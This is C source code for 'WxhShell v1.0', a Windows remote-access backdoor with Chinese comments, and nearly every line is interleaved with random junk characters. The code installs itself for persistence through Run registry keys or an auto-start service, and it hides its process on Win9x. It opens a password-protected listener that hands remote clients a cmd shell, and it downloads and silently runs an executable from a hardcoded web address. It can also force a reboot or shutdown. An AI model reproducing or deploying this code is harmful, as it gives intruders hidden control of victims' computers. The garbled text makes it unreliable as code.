GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S]Aaf-X_ br*PB]dU HANDLE hProcess; &5hs
W1` PROCESS_BASIC_INFORMATION pbi; Uv!VzkPfo rv2;)3/* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v(P <_}G if(NULL == hInst ) return 0; ]^<\a=U ^[Y/ +Q.J g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8qoA5fW> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z<8VJZd NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ei89Ngp\} 3Qu-X\ if (!NtQueryInformationProcess) return 0; T[2<_ nn= sk@aOv'*( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d"thM if(!hProcess) return 0; 4K,S5^`Gx m,ur{B8 : if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^,`
L!3 'a"Uw"/p[ CloseHandle(hProcess); q&^H"
fF 6Ia[`xuL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3=%G{L16- if(hProcess==NULL) return 0; CW+gZ! uFFC.w HMODULE hMod; )#sN#ZR$ char procName[255]; j3j^cO[ 8v unsigned long cbNeeded; m",G;VN N[N4!k )!$ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .p(r|5(b WZ UeW*#= CloseHandle(hProcess); oslj< QRwO v if(strstr(procName,"services")) return 1; // 以服务启动 im
F,8 ' UI*&@!%bzp return 0; // 注册表启动 {a(<E8-^ } ..=lM:13| 1G'pT$5& // 主模块 co'qVsOiH int StartWxhshell(LPSTR lpCmdLine) :N' { =`l>< SOCKET wsl; "+hUt BOOL val=TRUE; fyxc4-D int port=0; 7H4kj7UK struct sockaddr_in door; \jAI~|3 D!i|KI/ if(wscfg.ws_autoins) Install(); zbfe=J4c m3XT8F*& port=atoi(lpCmdLine); ^=qV)j ri4:w_/{,Y if(port<=0) port=wscfg.ws_port; qJR8fQ ] ~}~d( WSADATA data; >]2 ^5C; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [~?6jnp &"Fz)} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &LQfs4}a, setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,2P/[ : door.sin_family = AF_INET; ^Zlbs
goZ door.sin_addr.s_addr = inet_addr("127.0.0.1"); zR?1iV.] door.sin_port = htons(port); ^BP4l_rO9 1+Vei<H$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MPLeqk$; closesocket(wsl); tZ:fOM return 1; &?k`rF9 } ){w!<Lb a&[>kO if(listen(wsl,2) == INVALID_SOCKET) { ]NKz5[9D closesocket(wsl); y|3!E>Up return 1; Pt'=_^Io } 2L=(-CH9] Wxhshell(wsl); \!k\%j9 WSACleanup(); A@reIt >"Zn#
FY return 0; {_ZbPPh;M" nFwdW@E9 } !k#N]
9D3 |@hyGu-H+ // 以NT服务方式启动 4+4&}8FH VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X"%eRW&qu/ { ^b*ub(5Ot DWORD status = 0; am/D$ (l1 DWORD specificError = 0xfffffff; 2SKtdiY eGo$F2C6E serviceStatus.dwServiceType = SERVICE_WIN32; 4ZB]n,pfT serviceStatus.dwCurrentState = SERVICE_START_PENDING; NU[Wj uLG serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >uE<-klv serviceStatus.dwWin32ExitCode = 0; eYPIZ{S7h serviceStatus.dwServiceSpecificExitCode = 0; Gz7,g
Y serviceStatus.dwCheckPoint = 0; 5,R<9FjW serviceStatus.dwWaitHint = 0; ""jl A64c,Uv hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |xpOU*k if (hServiceStatusHandle==0) return; " pL5j u3HaWf3 status = GetLastError(); +\J+?jOC4S if (status!=NO_ERROR) 0- u,AD { CC]q\%y-_ serviceStatus.dwCurrentState = SERVICE_STOPPED; !@>:k3DC& serviceStatus.dwCheckPoint = 0; 1119Y eL serviceStatus.dwWaitHint = 0; WctGhGH serviceStatus.dwWin32ExitCode = status; P+,YWp serviceStatus.dwServiceSpecificExitCode = specificError; #*G}v%Ow/u SetServiceStatus(hServiceStatusHandle, &serviceStatus); >jc17BJq return; !ce,^z&5 } %}{.U U)1hC^[!
serviceStatus.dwCurrentState = SERVICE_RUNNING; =BzBM`-o serviceStatus.dwCheckPoint = 0; v=D4O . serviceStatus.dwWaitHint = 0; ^L'<%_#. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u#0EZ2># } j0S[JpoF ZOL#Q+U // 处理NT服务事件,比如:启动、停止 1c`Yn:H^ VOID WINAPI NTServiceHandler(DWORD fdwControl) +Xmza8T9 { >9[wjB2?} switch(fdwControl) b+$-f:mj { Ljk0K3Q6> case SERVICE_CONTROL_STOP: GA.cp*2~ serviceStatus.dwWin32ExitCode = 0; 5=;'LWXCJ serviceStatus.dwCurrentState = SERVICE_STOPPED; bWzUWLa serviceStatus.dwCheckPoint = 0; ^k!u serviceStatus.dwWaitHint = 0; Hlj3z3 { q&,uJo SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;$UB@)7% } ,km`-6.2? return; oSP^
.BJ$ case SERVICE_CONTROL_PAUSE: ?q"9ZYX< serviceStatus.dwCurrentState = SERVICE_PAUSED; KzB9
mMrO break; bbWW|PtWwP case SERVICE_CONTROL_CONTINUE: W}k)5<C4v serviceStatus.dwCurrentState = SERVICE_RUNNING; 1["IT.,f. break; Zy6>i2f4f case SERVICE_CONTROL_INTERROGATE: >P2QL>P break; &tw{d DD6 }; dVBr-+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); /-g%IeF } M
U2]; !XY}\zKq // 标准应用程序主函数 NaeG)u#+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S?Uvt? { jDW$}^
6 {!"lHM% // 获取操作系统版本 $"Nqto~ OsIsNt=GetOsVer(); fJn4'Q*U GetModuleFileName(NULL,ExeFile,MAX_PATH); {|tMN,Z $HV`bJ5!L* // 从命令行安装 U?ZxQj66} if(strpbrk(lpCmdLine,"iI")) Install(); `e5f69" ^2mCF // 下载执行文件 hle@= e/n if(wscfg.ws_downexe) { %UCuI9 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 58Z,(4:E WinExec(wscfg.ws_filenam,SW_HIDE); _i0,?U2C } 7[(<t+ G3t\2E9S if(!OsIsNt) { lUHpGr|U% // 如果时win9x,隐藏进程并且设置为注册表启动 E\~!E20^ HideProc(); tEllkHyef StartWxhshell(lpCmdLine); Q_A?p$%;L } @34CaZ$k else &P>a if(StartFromService()) SY+$8^ // 以服务方式启动 xx,|n StartServiceCtrlDispatcher(DispatchTable); mQ:5(]v else T?8N$J // 普通方式启动 tVAH\*a,/ StartWxhshell(lpCmdLine); wU5= ' A<cnIUW return 0; K<"Y4O#] } y-vBC3 ,in"8aT}~ =bb )B( Fx@@.O6 =========================================== t8S,C4 S d]`) 2@pEuB3$?! %<'PSri N x/_+JWje fngk<$lvg " !*=+E%7 [f-<M@id/ #include <stdio.h> > ^d+;~Q; #include <string.h> .KE2sodq #include <windows.h> c +]5[6 #include <winsock2.h> EN~ha:9 #include <winsvc.h> EP]O J$6I #include <urlmon.h> = k>ygD_ 2(NN QU@Uz #pragma comment (lib, "Ws2_32.lib") _<;westq #pragma comment (lib, "urlmon.lib") {@3p^b*E)1 =/qj vY #define MAX_USER 100 // 最大客户端连接数 r`d.Wy Zj #define BUF_SOCK 200 // sock buffer OeY+Yt0 #define KEY_BUFF 255 // 输入 buffer Z~ {[YsG R>`TV(W`9 #define REBOOT 0 // 重启 F$H^W@<w #define SHUTDOWN 1 // 关机 OEj%cB! /Wm3qlv #define DEF_PORT 5000 // 监听端口 4(}V$#^+ )Xd2qbi #define REG_LEN 16 // 注册表键长度 F5/,H:K\ #define SVC_LEN 80 // NT服务名长度 YBY!!qjPx .k:Uj-& // 从dll定义API C-L[" O0[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F7qQrE5bl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sBWLgJz?C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N^By#Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ? Eh)JJt /N\[ C"8 // wxhshell配置信息 Z)H9D(Za struct WSCFG { [}=/?(5 int ws_port; // 监听端口 tvvRHvL char ws_passstr[REG_LEN]; // 口令 t[?O*> int ws_autoins; // 安装标记, 1=yes 0=no 9N{"ob
Z char ws_regname[REG_LEN]; // 注册表键名 &io*pmUm6 char ws_svcname[REG_LEN]; // 服务名 -S*MQA4 char ws_svcdisp[SVC_LEN]; // 服务显示名 >PK\bLEo char ws_svcdesc[SVC_LEN]; // 服务描述信息 D*o[a#2_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (= ,w$ int ws_downexe; // 下载执行标记, 1=yes 0=no rQD7ZN_ R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,#QLc char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~:lN("9OI nXcOFU }; d"JI4)%
P*sb@y>}O // default Wxhshell configuration <bxp/#6D struct WSCFG wscfg={DEF_PORT, +UC- "xuhuanlingzhe", A]"IQ- 1, 1r;.r| "Wxhshell", iWu^m+"k "Wxhshell", rJ}k!}G "WxhShell Service", i2+vUl|;Z "Wrsky Windows CmdShell Service", >6zXr. "Please Input Your Password: ", ]NgEN 1, Hze~oAP+ "http://www.wrsky.com/wxhshell.exe", ]R s "Wxhshell.exe" Ww $?X LF }; f8?c[%br .jjvS // 消息定义模块 !aub@wH3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qT+:oMrTSm char *msg_ws_prompt="\n\r? for help\n\r#>"; \Z%V)ZRi= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %["V "{ z char *msg_ws_ext="\n\rExit."; "<I*ViZ char *msg_ws_end="\n\rQuit."; ISl-W1u} char *msg_ws_boot="\n\rReboot..."; 7BDoF!kCx char *msg_ws_poff="\n\rShutdown..."; $+.!(Js"K char *msg_ws_down="\n\rSave to "; L;s,x V {!rpE7P- char *msg_ws_err="\n\rErr!"; -R-|[xN char *msg_ws_ok="\n\rOK!"; B\}B
H &WGG
kn char ExeFile[MAX_PATH]; gzDNMM int nUser = 0; @G;\gJT* HANDLE handles[MAX_USER]; 2
.)`8|c9 int OsIsNt; |=9=a@l]P ^%r>f@h!L SERVICE_STATUS serviceStatus; =jN9PzLk SERVICE_STATUS_HANDLE hServiceStatusHandle; WGrG#Kw[ z^r // 函数声明 ~}fQ.F*7R int Install(void); lwuslt*E/ int Uninstall(void); \a}W{e=FNT int DownloadFile(char *sURL, SOCKET wsh); 51lN,VVD int Boot(int flag); P1f@?R&t+ void HideProc(void); H%AC *, int GetOsVer(void); >k{KwFB^S int Wxhshell(SOCKET wsl); e+=P)Zp/ void TalkWithClient(void *cs); ^6U0n!nU int CmdShell(SOCKET sock); M8wEy_XB1 int StartFromService(void); gr
y]!4Hy int StartWxhshell(LPSTR lpCmdLine); ;3H#8x- p +>vX
X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zgh~P^Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); K9(Su`zr ^sA"&Vdr^ // 数据结构和表定义 R8<'m
SERVICE_TABLE_ENTRY DispatchTable[] = f~NGIlgR { p:n.:GZ=y {wscfg.ws_svcname, NTServiceMain}, EsR$H2" {NULL, NULL} '6&a8&: }; 9s}y*Vp B Ctm05 // 自我安装 8S_v} NUm int Install(void) L&2 Zn{#` { z1u1%FwOfM char svExeFile[MAX_PATH]; {a `#O9 HKEY key;
,m-/R strcpy(svExeFile,ExeFile); 8QYM/yAM %[9d1F3 // 如果是win9x系统,修改注册表设为自启动 ~HH6=qjU) if(!OsIsNt) { ;5fq[v^P: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4dwG6- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :UgCP ~Y RegCloseKey(key); 2l9RU} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z7t-{s64 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0=^A{V!m RegCloseKey(key); M>BcYbXf return 0; }JKK"d}U } BCK0fk~ } T+y3Ph--^ } aA5rvP+ else { 09psqXU@I }L1-2 // 如果是NT以上系统,安装为系统服务 \-?@
&' : SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); If*t$f>y4N if (schSCManager!=0) LgX"Qk&Ca { dLs40 -R SC_HANDLE schService = CreateService a;2Lgv0/ ( *Bgk3(n) schSCManager, .^%!X!r wscfg.ws_svcname, _Bh ^<D- wscfg.ws_svcdisp, C;&44cU/] SERVICE_ALL_ACCESS, /v,H%8S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~J Xqyw} SERVICE_AUTO_START, 2}^fhMS SERVICE_ERROR_NORMAL, yA/b7x-c svExeFile, ,,-g*[/3 NULL, 'kz[Gh*8 NULL, V!Q1o!J NULL, Alsr6uLT1 NULL, -%*w&',G NULL 8"\g?/ ); C/w!Y)nB= if (schService!=0) Xt!%W { `f9I#B
CloseServiceHandle(schService); %;Dp~T`0 CloseServiceHandle(schSCManager); 7Q(5Nlfcz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7Q>*] strcat(svExeFile,wscfg.ws_svcname); dsh S+d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OEN!~-u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y^Olcz RegCloseKey(key); w/`I2uYu return 0; uNV\_'9>Y } p+;[i%` } QlHxdRK`. CloseServiceHandle(schSCManager); A\jX #gg } l$_Yl&!q$ } 3O:gZRxK N!fTt, return 1; 'NJCU.lKm } 5+gSpg]i YRy5.F%? // 自我卸载 $RYsqX\v int Uninstall(void) 1Ue;hu'q: { V*m@Rs!)2 HKEY key; G@O~*k1v ]y:ez8RFPU if(!OsIsNt) { q~^qf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nbpGxUF`] RegDeleteValue(key,wscfg.ws_regname); ].j;d2xT\ RegCloseKey(key); p)$DpNL% p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZPT6
pJ RegDeleteValue(key,wscfg.ws_regname); Kug_0+gI RegCloseKey(key); U/e$.K3v return 0; "1P>,\Sjg } )rTV}Hk } u49v,,WGw } i9NUv3# else { Wq+6`o /GK1}h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *)V1Sd#m if (schSCManager!=0) d8|bO#a%9 { RE72%w(oM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 26c,hPIeXY if (schService!=0) V0,%g+.^ { , 8NY<sFh if(DeleteService(schService)!=0) { Q.q'pJ- CloseServiceHandle(schService); JO4rU-
n CloseServiceHandle(schSCManager); Pw^lp'dO return 0; ZR~ *Yofy } wz-#kH5? CloseServiceHandle(schService); 8u,f<XHi"a } E6{|zF/3' CloseServiceHandle(schSCManager); 5AWIk,[ } 0$ -N } cMCGaaLU z(AhO return 1; &ggS!y'n } *LTFDC &uh|!lD // 从指定url下载文件 p*T`fOL int DownloadFile(char *sURL, SOCKET wsh) <5s51b < {
u;fD4CA HRESULT hr; *Txt`z[| char seps[]= "/"; cax]lO char *token; Ylc[ghx char *file; )F\tU char myURL[MAX_PATH]; bp06xHMu char myFILE[MAX_PATH]; e5!LbsJv H]LH~l strcpy(myURL,sURL); i )Hjmf3 token=strtok(myURL,seps); >Cb[ while(token!=NULL) Vf67gux { 4,o|6H file=token; 8._
A[{.f token=strtok(NULL,seps); L#Mul&r3x0 } YxEc(a" K5O#BBX= GetCurrentDirectory(MAX_PATH,myFILE); U2=PmS P strcat(myFILE, "\\"); t;7 tuq
strcat(myFILE, file); v-;j44sB send(wsh,myFILE,strlen(myFILE),0); p#VA-RSUQ| send(wsh,"...",3,0); N|n"JKw) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,4bqjkX5q if(hr==S_OK) "T`Q, return 0; <q
V<dK&W else 28KS*5S return 1; a=<l}`* Le&SN7I } SH"e x,= Iv6(Z>pAB // 系统电源模块 os<B}D[ int Boot(int flag) ,)u\G(N { 7V6gT}R HANDLE hToken; - J9K TOKEN_PRIVILEGES tkp; 1 m)WM,L JG%y_
Qy?K if(OsIsNt) { ^-,
aB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UN7>c0B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "r6DZi(^K tkp.PrivilegeCount = 1; }B=`nbgIG7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; orB8q(( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :G/T{87H if(flag==REBOOT) { ,&Iw5E[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K:!|xr(1d return 0; ]]
R*sd* } ?0>%
a$` else { (Kl96G<Wej if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <r_L- return 0; yF&"'L } Nr\[|||% } zJnF#G else { 0v%ZKvSID if(flag==REBOOT) { EgAM,\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W0n/B&C return 0; n\f8%z } s2-`}LL else { xXpeo_y' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {&_1/ return 0; |/u&%w?W
} Byx8`Cx1 } &,pL3Qos =2[5g!qX return 1; '.jr" 3u } C
NDf&dzX8 [89qg+z // win9x进程隐藏模块 Y`5(F>/RQG void HideProc(void) h|^RM*x { &tT*GjPwg; ?lg
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w)A@ if ( hKernel != NULL ) r+T@WvS%W { |5o0N8!b[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ys+ AY^/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GCn^+`.h1t FreeLibrary(hKernel); `:hEc<_/ } !"w1Pv, ?!R
Z~~d return; ?[n{M } a}~Xns y8=(k}=3 // 获取操作系统版本 NA5AR*f' int GetOsVer(void) h,-8(
S { tDF=Iqu)a OSVERSIONINFO winfo; [42vO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P`JO6O:& GetVersionEx(&winfo); ][ri
A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %UEV['= return 1; =|)W#x9= else N# o" W return 0; DA)mkp } <ob+Ano$ t{\,vI // 客户端句柄模块 Z^AOV:|m int Wxhshell(SOCKET wsl) q.s 2x0 { }!tJ3G SOCKET wsh; CRK%%;=> struct sockaddr_in client; =|lw~CW DWORD myID; |P{K\;- so~vnSQ!x while(nUser<MAX_USER) 4CR.= { 86[/NTD<- int nSize=sizeof(client); ,2H@xji
[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mez )G| if(wsh==INVALID_SOCKET) return 1; [ugBVnma wYxnKm~f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !+qy~h if(handles[nUser]==0) K)m\xzT/ closesocket(wsh); *82f{t] else >"^H"K/T nUser++; %kM|Hk3d } [i7Ug.Oi" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k5]M~" J&%d(EJM return 0; cR0+`& } kHj|:,'sV =yn|.%b // 关闭 socket ,uEi*s> void CloseIt(SOCKET wsh) vA(V.s` { <k2Qcicy closesocket(wsh); bERYC| nUser--; ^j"*-)R ExitThread(0); m2!y;)F0 } <t9#~x#'b %_*q'6K // 客户端请求句柄 qla$}dnvc void TalkWithClient(void *cs) 3GkVMYI { }R.<\ _1D'9!+ SOCKET wsh=(SOCKET)cs; F<'@T,LVc char pwd[SVC_LEN]; ?S9!;x< char cmd[KEY_BUFF]; /\=syl char chr[1]; L;a>J int i,j; -]1F]d }@-4*5P3 while (nUser < MAX_USER) { /b *VFA/75 6qsT/ if(wscfg.ws_passstr) { JJL#Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FKU$HQw* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^j1?L B //ZeroMemory(pwd,KEY_BUFF); wyqXD.of i=0; 3Lx]-0h while(i<SVC_LEN) { S|U/m m bL`O k // 设置超时 p4k*vuu> fd_set FdRead; VGLE5lP X struct timeval TimeOut; (h NSzG\ FD_ZERO(&FdRead); _<?lP$Xr FD_SET(wsh,&FdRead); <^}{sdOyu TimeOut.tv_sec=8; mT8")J|2 TimeOut.tv_usec=0; f_}FYeg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =Z
^= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QO;W}c:N $<jI<vD+: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @+LZSd+I pwd=chr[0]; cwK6$Ax if(chr[0]==0xd || chr[0]==0xa) { L&td4`2y pwd=0; ]|cL+|':y break; v1h*/#
} :'-FaGy i++; vas
} ;M '?k8L Ip}(!D| // 如果是非法用户,关闭 socket ]V!q"|
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~`Q8)(y<#$ } ^cO^3= &PRu[! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I4%&/~! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q<$I,C] S:qML]RO while(1) { {}ks[%,_\ /"d5<B `% ZeroMemory(cmd,KEY_BUFF); m7z6c"?lB tA?P$5?-* // 自动支持客户端 telnet标准 +(d\`{A j=0; g0@i[&A@{ while(j<KEY_BUFF) { `$|!h-" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %a-:f)@ cmd[j]=chr[0]; 8NLTq|sW if(chr[0]==0xa || chr[0]==0xd) { }a= &o6= cmd[j]=0; /`yb75 break; eJ0PSW/4l } I13nmI\ j++; ]<D9Q> } }5#<`8 q=8I0E&q // 下载文件 yw'b^D/ if(strstr(cmd,"http://")) { Ql-RbM send(wsh,msg_ws_down,strlen(msg_ws_down),0); T9enyYt% if(DownloadFile(cmd,wsh)) "T4Z#t send(wsh,msg_ws_err,strlen(msg_ws_err),0); S5R Q else 3| 5Af send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M%H<F3 } 8E`rs)A else { .%>UA|[~: Q8.SD p switch(cmd[0]) { Q5'DV!0aSv oy90|.]G // 帮助 3{o5AsVv case '?': { +JE
h7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <6k5nE h break; ol^J- } @A(*&PU>j // 安装 cPe0o'`[ case 'i': { =>". if(Install()) mq@2zE`.( send(wsh,msg_ws_err,strlen(msg_ws_err),0); .{as"h-.O else ;2K_u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 09y%FzV break; 7VkT(xnm
} Y4,~s64e // 卸载 VZNMom,Wr case 'r': { F0
WM&{v if(Uninstall()) |]`\ak send(wsh,msg_ws_err,strlen(msg_ws_err),0); &CW,qY,sh else ) &[S*g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l v]TE" break; f,Vj8@p)x } w|?<;+ // 显示 wxhshell 所在路径 1MI/:vy- case 'p': { 6Zwrk-,A char svExeFile[MAX_PATH]; (Nd5VuI strcpy(svExeFile,"\n\r"); l0Wp%T strcat(svExeFile,ExeFile); "#x<>a)O\ send(wsh,svExeFile,strlen(svExeFile),0); WXP=U^5Si break; ?.#?h>MS{s } M{$EJS\d= // 重启 b`N0lH.V case 'b': { D2x-Wa send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o ohgZ&k2] if(Boot(REBOOT)) <^+~?KDZM send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\bbe @ else { *"#62U6 closesocket(wsh); FCxLL")) ExitThread(0); nff&~lwhZ } F)KUup)gc break; NDLk+n } E! ;giPq*n // 关机 uNe5Mv|} case 'd': { 3B:U>F,]4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Uu xbN-u if(Boot(SHUTDOWN)) , Z*Fo: q send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|lEF+ else { RYzDF+/ closesocket(wsh); D4%5T>^LW[ ExitThread(0); o9-b!I2 } BE/#=$wPjM break; 47s<xQy } wzhM/Lmo\z // 获取shell 4;@|tC|u case 's': { i_?";5B" CmdShell(wsh); 7)sEW#d! closesocket(wsh); K:&FWl. ExitThread(0); .ky(( break; wb^Yg9 } !\wdX7% // 退出 Oz{.>Pjn^o case 'x': { (6i)m
c( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F/z$jj) CloseIt(wsh); c RBdIDIc break; ]O2ku^yM } )3g7dtq} // 离开 ZGrjb22M case 'q': { ?r"][< send(wsh,msg_ws_end,strlen(msg_ws_end),0); Eyu]0+ closesocket(wsh); "TB4w2?= WSACleanup(); +-~hl exit(1); ],vUW#6$N break; 6B
4Sd } ^mr#t #[e } F;p>bw } DI O @Zo Q*|O9vu'D // 提示信息 SiJ0r
@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J9J[.6k8 } /HR9(j6 } 't".~H_V *oLAO/)n return; iR
j/Tm*T' } ~7aBli= ~#3h-|]* // shell模块句柄 UO(B>Abp int CmdShell(SOCKET sock) MJ^NRT0?b {
5|2v6W!e STARTUPINFO si; KfpDPwP@ ZeroMemory(&si,sizeof(si)); OU+oS, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m[S6pqz si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -'&4No PROCESS_INFORMATION ProcessInfo; Ezw(J[).C char cmdline[]="cmd"; x 9}D2Ui CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :<Z*WoEmt return 0; z[:UPPbW } ;n?72&h
W70J2 // 自身启动模式 Ql8E9~h int StartFromService(void) g;)xf?A9q { -
Z?rx5V;t typedef struct ldcYw@KQ { }}Ah-QU DWORD ExitStatus; seWYY $$ DWORD PebBaseAddress; 2Wz/s 0` DWORD AffinityMask; Hm2}xnY DWORD BasePriority; 41 sClC" ULONG UniqueProcessId; ~J1;Z0}# ULONG InheritedFromUniqueProcessId; |0:&dw?*! } PROCESS_BASIC_INFORMATION; Ep-{Ew{T_= v w$VRPW PROCNTQSIP NtQueryInformationProcess; .&d]7@!qy |@pJ] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gs$<r~Tg static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mlCw(i, 5P_%Vp`B2 HANDLE hProcess; O[[:3!6q PROCESS_BASIC_INFORMATION pbi; h_6QVab@ #iD5&
klo\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UKyOkuY:w if(NULL == hInst ) return 0; rQT@:$) Hb5^+.xur g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V#jFjObTN g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9u<4Q_I` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =)5eui>{ XE);oL2xP if (!NtQueryInformationProcess) return 0; #UGtYD}" a.)Gd]}g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lO},fM2j if(!hProcess) return 0; CU)'x
E !
7,rz1s73 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Th,15H
DA v
